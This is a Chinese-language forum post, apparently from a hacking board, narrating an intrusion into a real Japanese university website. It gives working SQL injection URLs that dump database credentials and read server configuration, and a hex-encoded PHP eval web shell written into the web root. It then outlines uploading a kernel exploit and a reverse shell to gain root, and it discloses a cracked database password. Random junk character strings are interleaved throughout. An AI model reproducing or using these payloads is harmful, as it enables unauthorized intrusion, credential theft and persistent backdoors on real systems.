入侵日本同志社大学技术分析- T" C3 h! D( T6 b, \
: o6 r* h8 d+ u% c0 q8 Whttp://www.doshisha.ac.jp/chs/news/index.php?i=-1, g% [. [$ R/ y
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:- n* |7 P- ~* ~- A2 j. I
" U9 n: w9 x6 X; x: L9 C
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
! b" h. D @/ f; R: ~% |% k- T( T3 I
2 b6 L, M0 [% M0 F
4 m& m- U8 w3 Y2 I F9 R//@@datadir为数据库文件路径 3 K7 g3 L/ q" I, |: m. z, \5 c
& i, Q8 ?! p( x$ o K
& T8 H# ?# e9 K$ z- ?" A& \//load_file读取网站容器apache的配置文件 " m3 _: ^* O i
* F" e; ]8 y' ~- h
8 p3 D" w$ q( M$ T//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 7 s& y3 N' m. O+ U3 m1 f
复制代码
) K3 V2 y2 L, v2 `) e' H/ q. e* w. C- k& z1 L- k
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
: \6 F6 V9 N* t7 l& Z) w# Z$ `9 N: }( z5 Z% T: Y: ^4 ~
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。1 k8 w' G. e- e# U$ u% W' _
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html), O* @1 G8 I) p" F1 K% R
, W' B, o, c2 b6 x/ k" p
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。8 @0 d- o# O1 J0 }5 E
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
# f* y- Y2 s0 r) e6 \' C$ A. Z+ @) U" m: B
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/+ n1 n1 Y7 d( j' `
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。- `2 U A! p' D6 X( J
直接写一句话:
9 Y2 ]# Z( b% v4 @! n! Y7 d* c. T8 y) M& h/ o
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
{& ?0 T$ X$ M2 u: a2 S% e2 P1 Q! U" h7 S
, A$ H P8 d- v$ u P" C, O4 f& d
: t, b' }& a; G3 k% F9 B1 v* O
//最后的#是为了闭合前面的语句
b) ~4 o" I/ y% \$ x% f
b7 {$ e5 ^$ \7 n+ @7 K
" k% s2 i. Z j& a/ n/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ) @7 O5 ~' L! X% t
. [( n8 p9 {. ^( O
- y& y3 l/ V, T& h为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
: x5 F. y+ R: j& C1 i
0 H, u" x; X/ Z
9 X% J; F. C7 m//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 , u8 z8 I7 K1 B- Y
( Z/ o0 i9 U. f1 X$ [
% e, }. G( {4 I$ Z" i1 _
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 , f, G9 e" ]3 S& [3 K" U" T
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” $ A" b2 n+ H4 o# ]7 v @7 S! o+ b3 V
复制代码. C6 K5 n4 K( n5 T) F8 g% g1 w
& u, [: z& B4 F \* \9 mHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有9 d8 K4 T& [1 I: P, w" m# q
通过上述注入语句,我们就得到了一句话木马:
( Q4 ^* c: x f2 a/ U; t* q
" M/ f a G# ]5 O& m! u $ Y t, Q! D7 Y3 M. p: h
0 x& ~, d& O2 @# k8 }+ H( N
( @2 m3 a) g5 T8 X2 R5 L4 r6 d
& u9 y- X$ j' n! U4 l! Zhttp://www.doshisha.ac.jp/english/engnews_img/aa.php * g; z' W: ?: o/ v
复制代码# g# J( O+ u; V1 ~# x
7 Q o# a; N: i) U用菜刀连接,密码是cmd,如图所示:
6 u2 {) N# @/ p. |/ x& K; x然后在命令提示行里看了一下,现在的权限是:
) e- A( \( I' N- _1 a& m& ]1 ^7 O
5 S3 t* [# k" e S" E之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。# R" |& N$ ~5 T' J7 ]
好在赋权给这个文件夹不需要root,直接执行赋权语句:
. M7 r, D3 I& f5 R' n/ M
3 n9 @! {; M& q2 M7 L
" ]# {+ M4 ?9 V4 l5 U
4 j1 ~( n3 O. V& q8 O8 N
7 [% F! Z# Y9 n
1 F) o/ ?, }9 echmod +x /tmp/
9 y, `8 m8 e( j' @( U复制代码
: p) w# u/ S% h: h6 t" a' D, { |4 q2 l# a. i9 v, l
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行: |% u( C) \: h4 Z0 |0 ]
然后就查了一下内核版本:
( a" c% [2 N0 j8 J' c
5 k' _1 l/ P8 c; H
7 h h1 j- {# D9 a; f4 s& f9 M7 A F
2 q- u/ y: W) U/ P* X% c+ _
5 r, ]3 k8 c V/ X2 e9 Z/ zuname-a
* P: ~6 E+ q: W2 h0 ?: p & b9 y1 w, ~' t" Y z' V
! `. d* o) f6 \- P//其实lsb_release -a # K& W8 G; m9 N0 T
复制代码$ f0 `7 W+ s8 d! O
1 h: i" K: _. T: {' D5 D如图所示:! a( `. X, q9 z& F# Q+ v% R
8 d: }0 l5 w1 D; a. {
内核版本:linux mainz1 2.6.28-194.e15
1 e' x y4 U5 g. s, G! g3 J, a/ w系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
3 n0 f" L) \0 h! J! |% t6 i查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹3 `- T+ _6 }: t# D
' W8 Z7 q$ j4 B( `, d
然后给予执行权限
- @" t3 U8 H* A+ t一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样1 r: E) M: N! E3 V
: V V( ?, s7 X% H
% X2 E9 \; \) U6 h8 p4 [' g
1 A3 q) h, K+ P! @; \
+ @2 t( t M. Y2 @1 b# g
7 Q8 v5 ]/ I, v
chmod +x /tmp/2.6.18-194 2 H' a' s, l$ o" Z1 W: |1 I7 H& @
复制代码 然后直接执行!~
' e! W9 T& Z1 w/ T# M6 O
; M. H, s. Q0 |% G总结:
0 r. ? ~ x! `这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了6 L0 P8 v' S! z0 p! l4 e( a9 _* X3 E
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root1 V0 N9 u: \! Y( L8 Z9 k
2 u# w! n7 k6 `9 t
|